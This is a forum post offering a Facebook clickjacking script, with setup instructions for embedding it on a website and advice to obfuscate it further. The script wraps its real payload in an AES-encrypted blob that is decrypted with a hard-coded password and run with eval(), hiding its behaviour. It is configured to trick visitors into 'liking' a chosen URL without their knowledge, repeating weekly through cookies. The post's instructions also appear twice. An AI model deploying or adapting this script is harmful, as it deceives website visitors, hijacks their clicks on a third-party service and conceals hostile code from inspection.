champbronc2
Junior Member
- Jan 17, 2010
- 167
- 62
I use this Facebook Clickjacking script on a few sites of mine and it works quite well. For the targetUrl I suggest not only liking your website, but making a Facebook page on the Facebook website in order to give updates to people who end up liking your page.
Honestly, I don't know what fbvisited,force and one click do.
But for dotheocokiedance, you can set that to false if you want the user to have the Facebook clickjack every time the user visits. If it is set to true, it will only show up once a week.
So in order to implement the script, upload the script to your website as whatever.js.
Then go to the page you want to have the script run on and insert this:
Here is the script:
I suggest obfuscating the code after you edit it so that nobody can view or steal the script from your page.
Put the edited script into http://www.javascriptcompressor.com and then encode with Base62 encode enabled.
Just ask if you have any questions.
Honestly, I don't know what fbvisited,force and one click do.
But for dotheocokiedance, you can set that to false if you want the user to have the Facebook clickjack every time the user visits. If it is set to true, it will only show up once a week.
So in order to implement the script, upload the script to your website as whatever.js.
Then go to the page you want to have the script run on and insert this:
Code:
<script type="text/javascript" src="http://yourwebsite.com/whatever.js"></script>
Code:
var targetUrl = 'http://www.YOURURLGOESHERE.com';
var fbvisited = true;
var force = true;
var oneclick = true;
var dothecookiedance = true;
var cookiedays = 7;
var timedelay = 6999;
var Aes = {};
Aes.cipher = function (input, w) {
var Nb = 4;
var Nr = w.length / Nb - 1;
var state = [
[],
[],
[],
[]
];
for (var i = 0; i < 4 * Nb; i++) state[i % 4][Math.floor(i / 4)] = input[i];
state = Aes.addRoundKey(state, w, 0, Nb);
for (var round = 1; round < Nr; round++) {
state = Aes.subBytes(state, Nb);
state = Aes.shiftRows(state, Nb);
state = Aes.mixColumns(state, Nb);
state = Aes.addRoundKey(state, w, round, Nb)
};
state = Aes.subBytes(state, Nb);
state = Aes.shiftRows(state, Nb);
state = Aes.addRoundKey(state, w, Nr, Nb);
var output = new Array(4 * Nb);
for (var i = 0; i < 4 * Nb; i++) output[i] = state[i % 4][Math.floor(i / 4)];
return output
};
Aes.keyExpansion = function (key) {
var Nb = 4;
var Nk = key.length / 4;
var Nr = Nk + 6;
var w = new Array(Nb * (Nr + 1));
var temp = new Array(4);
for (var i = 0; i < Nk; i++) {
var r = [key[4 * i], key[4 * i + 1], key[4 * i + 2], key[4 * i + 3]];
w[i] = r
};
for (var i = Nk; i < (Nb * (Nr + 1)); i++) {
w[i] = new Array(4);
for (var t = 0; t < 4; t++) temp[t] = w[i - 1][t];
if (i % Nk == 0) {
temp = Aes.subWord(Aes.rotWord(temp));
for (var t = 0; t < 4; t++) temp[t] ^= Aes.rCon[i / Nk][t]
} else if (Nk > 6 && i % Nk == 4) {
temp = Aes.subWord(temp)
};
for (var t = 0; t < 4; t++) w[i][t] = w[i - Nk][t] ^ temp[t]
};
return w
};
Aes.subBytes = function (s, Nb) {
for (var r = 0; r < 4; r++) {
for (var c = 0; c < Nb; c++) s[r][c] = Aes.sBox[s[r][c]]
};
return s
};
Aes.shiftRows = function (s, Nb) {
var t = new Array(4);
for (var r = 1; r < 4; r++) {
for (var c = 0; c < 4; c++) t[c] = s[r][(c + r) % Nb];
for (var c = 0; c < 4; c++) s[r][c] = t[c]
};
return s
};
Aes.mixColumns = function (s, Nb) {
for (var c = 0; c < 4; c++) {
var a = new Array(4);
var b = new Array(4);
for (var i = 0; i < 4; i++) {
a[i] = s[i][c];
b[i] = s[i][c] & 0x80 ? s[i][c] << 1 ^ 0x011b : s[i][c] << 1
};
s[0][c] = b[0] ^ a[1] ^ b[1] ^ a[2] ^ a[3];
s[1][c] = a[0] ^ b[1] ^ a[2] ^ b[2] ^ a[3];
s[2][c] = a[0] ^ a[1] ^ b[2] ^ a[3] ^ b[3];
s[3][c] = a[0] ^ b[0] ^ a[1] ^ a[2] ^ b[3]
};
return s
};
Aes.addRoundKey = function (state, w, rnd, Nb) {
for (var r = 0; r < 4; r++) {
for (var c = 0; c < Nb; c++) state[r][c] ^= w[rnd * 4 + c][r]
};
return state
};
Aes.subWord = function (w) {
for (var i = 0; i < 4; i++) w[i] = Aes.sBox[w[i]];
return w
};
Aes.rotWord = function (w) {
var tmp = w[0];
for (var i = 0; i < 3; i++) w[i] = w[i + 1];
w[3] = tmp;
return w
};
Aes.sBox = [0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, 0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15, 0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75, 0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, 0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf, 0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8, 0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, 0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73, 0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb, 0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, 0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08, 0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a, 0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, 0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf, 0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16];
Aes.rCon = [
[0x00, 0x00, 0x00, 0x00],
[0x01, 0x00, 0x00, 0x00],
[0x02, 0x00, 0x00, 0x00],
[0x04, 0x00, 0x00, 0x00],
[0x08, 0x00, 0x00, 0x00],
[0x10, 0x00, 0x00, 0x00],
[0x20, 0x00, 0x00, 0x00],
[0x40, 0x00, 0x00, 0x00],
[0x80, 0x00, 0x00, 0x00],
[0x1b, 0x00, 0x00, 0x00],
[0x36, 0x00, 0x00, 0x00]
];
Aes.Ctr = {};
Aes.Ctr.encrypt = function (plaintext, password, nBits) {
var blockSize = 16;
if (!(nBits == 128 || nBits == 192 || nBits == 256)) return '';
plaintext = Utf8.encode(plaintext);
password = Utf8.encode(password);
var nBytes = nBits / 8;
var pwBytes = new Array(nBytes);
for (var i = 0; i < nBytes; i++) {
pwBytes[i] = isNaN(password.charCodeAt(i)) ? 0 : password.charCodeAt(i)
};
var key = Aes.cipher(pwBytes, Aes.keyExpansion(pwBytes));
key = key.concat(key.slice(0, nBytes - 16));
var counterBlock = new Array(blockSize);
var nonce = (new Date()).getTime();
var nonceSec = Math.floor(nonce / 1000);
var nonceMs = nonce % 1000;
for (var i = 0; i < 4; i++) counterBlock[i] = (nonceSec >>> i * 8) & 0xff;
for (var i = 0; i < 4; i++) counterBlock[i + 4] = nonceMs & 0xff;
var ctrTxt = '';
for (var i = 0; i < 8; i++) ctrTxt += String.fromCharCode(counterBlock[i]);
var keySchedule = Aes.keyExpansion(key);
var blockCount = Math.ceil(plaintext.length / blockSize);
var ciphertxt = new Array(blockCount);
for (var b = 0; b < blockCount; b++) {
for (var c = 0; c < 4; c++) counterBlock[15 - c] = (b >>> c * 8) & 0xff;
for (var c = 0; c < 4; c++) counterBlock[15 - c - 4] = (b / 0x100000000 >>> c * 8);
var cipherCntr = Aes.cipher(counterBlock, keySchedule);
var blockLength = b < blockCount - 1 ? blockSize : (plaintext.length - 1) % blockSize + 1;
var cipherChar = new Array(blockLength);
for (var i = 0; i < blockLength; i++) {
cipherChar[i] = cipherCntr[i] ^ plaintext.charCodeAt(b * blockSize + i);
cipherChar[i] = String.fromCharCode(cipherChar[i])
};
ciphertxt[b] = cipherChar.join('')
}
var ciphertext = ctrTxt + ciphertxt.join('');
ciphertext = Base64.encode(ciphertext);
return ciphertext
};
Aes.Ctr.decrypt = function (ciphertext, password, nBits) {
var blockSize = 16;
if (!(nBits == 128 || nBits == 192 || nBits == 256)) return '';
ciphertext = Base64.decode(ciphertext);
password = Utf8.encode(password);
var nBytes = nBits / 8;
var pwBytes = new Array(nBytes);
for (var i = 0; i < nBytes; i++) {
pwBytes[i] = isNaN(password.charCodeAt(i)) ? 0 : password.charCodeAt(i)
};
var key = Aes.cipher(pwBytes, Aes.keyExpansion(pwBytes));
key = key.concat(key.slice(0, nBytes - 16));
var counterBlock = new Array(8);
ctrTxt = ciphertext.slice(0, 8);
for (var i = 0; i < 8; i++) counterBlock[i] = ctrTxt.charCodeAt(i);
var keySchedule = Aes.keyExpansion(key);
var nBlocks = Math.ceil((ciphertext.length - 8) / blockSize);
var ct = new Array(nBlocks);
for (var b = 0; b < nBlocks; b++) ct[b] = ciphertext.slice(8 + b * blockSize, 8 + b * blockSize + blockSize);
ciphertext = ct;
var plaintxt = new Array(ciphertext.length);
for (var b = 0; b < nBlocks; b++) {
for (var c = 0; c < 4; c++) counterBlock[15 - c] = ((b) >>> c * 8) & 0xff;
for (var c = 0; c < 4; c++) counterBlock[15 - c - 4] = (((b + 1) / 0x100000000 - 1) >>> c * 8) & 0xff;
var cipherCntr = Aes.cipher(counterBlock, keySchedule);
var plaintxtByte = new Array(ciphertext[b].length);
for (var i = 0; i < ciphertext[b].length; i++) {
plaintxtByte[i] = cipherCntr[i] ^ ciphertext[b].charCodeAt(i);
plaintxtByte[i] = String.fromCharCode(plaintxtByte[i])
};
plaintxt[b] = plaintxtByte.join('')
};
var plaintext = plaintxt.join('');
plaintext = Utf8.decode(plaintext);
return plaintext
};
var Base64 = {};
Base64.code = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
Base64.encode = function (str, utf8encode) {
utf8encode = (typeof utf8encode == 'undefined') ? false : utf8encode;
var o1, o2, o3, bits, h1, h2, h3, h4, e = [],
pad = '',
c, plain, coded;
var b64 = Base64.code;
plain = utf8encode ? str.encodeUTF8() : str;
c = plain.length % 3;
if (c > 0) {
while (c++ < 3) {
pad += '=';
plain += '\0'
}
};
for (c = 0; c < plain.length; c += 3) {
o1 = plain.charCodeAt(c);
o2 = plain.charCodeAt(c + 1);
o3 = plain.charCodeAt(c + 2);
bits = o1 << 16 | o2 << 8 | o3;
h1 = bits >> 18 & 0x3f;
h2 = bits >> 12 & 0x3f;
h3 = bits >> 6 & 0x3f;
h4 = bits & 0x3f;
e[c / 3] = b64.charAt(h1) + b64.charAt(h2) + b64.charAt(h3) + b64.charAt(h4)
};
coded = e.join('');
coded = coded.slice(0, coded.length - pad.length) + pad;
return coded
};
Base64.decode = function (str, utf8decode) {
utf8decode = (typeof utf8decode == 'undefined') ? false : utf8decode;
var o1, o2, o3, h1, h2, h3, h4, bits, d = [],
plain, coded;
var b64 = Base64.code;
coded = utf8decode ? str.decodeUTF8() : str;
for (var c = 0; c < coded.length; c += 4) {
h1 = b64.indexOf(coded.charAt(c));
h2 = b64.indexOf(coded.charAt(c + 1));
h3 = b64.indexOf(coded.charAt(c + 2));
h4 = b64.indexOf(coded.charAt(c + 3));
bits = h1 << 18 | h2 << 12 | h3 << 6 | h4;
o1 = bits >>> 16 & 0xff;
o2 = bits >>> 8 & 0xff;
o3 = bits & 0xff;
d[c / 4] = String.fromCharCode(o1, o2, o3);
if (h4 == 0x40) d[c / 4] = String.fromCharCode(o1, o2);
if (h3 == 0x40) d[c / 4] = String.fromCharCode(o1)
};
plain = d.join('');
return utf8decode ? plain.decodeUTF8() : plain
};
var Utf8 = {};
Utf8.encode = function (strUni) {
var strUtf = strUni.replace(/[\u0080-\u07ff]/g, function (c) {
var cc = c.charCodeAt(0);
return String.fromCharCode(0xc0 | cc >> 6, 0x80 | cc & 0x3f)
});
strUtf = strUtf.replace(/[\u0800-\uffff]/g, function (c) {
var cc = c.charCodeAt(0);
return String.fromCharCode(0xe0 | cc >> 12, 0x80 | cc >> 6 & 0x3F, 0x80 | cc & 0x3f)
});
return strUtf
};
Utf8.decode = function (strUtf) {
var strUni = strUtf.replace(/[\u00e0-\u00ef][\u0080-\u00bf][\u0080-\u00bf]/g, function (c) {
var cc = ((c.charCodeAt(0) & 0x0f) << 12) | ((c.charCodeAt(1) & 0x3f) << 6) | (c.charCodeAt(2) & 0x3f);
return String.fromCharCode(cc)
});
strUni = strUni.replace(/[\u00c0-\u00df][\u0080-\u00bf]/g, function (c) {
var cc = (c.charCodeAt(0) & 0x1f) << 6 | c.charCodeAt(1) & 0x3f;
return String.fromCharCode(cc)
});
return strUni
};
eval(Aes.Ctr.decrypt('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', '!f4c3b00k!', 256));
I suggest obfuscating the code after you edit it so that nobody can view or steal the script from your page.
Put the edited script into http://www.javascriptcompressor.com and then encode with Base62 encode enabled.
Just ask if you have any questions.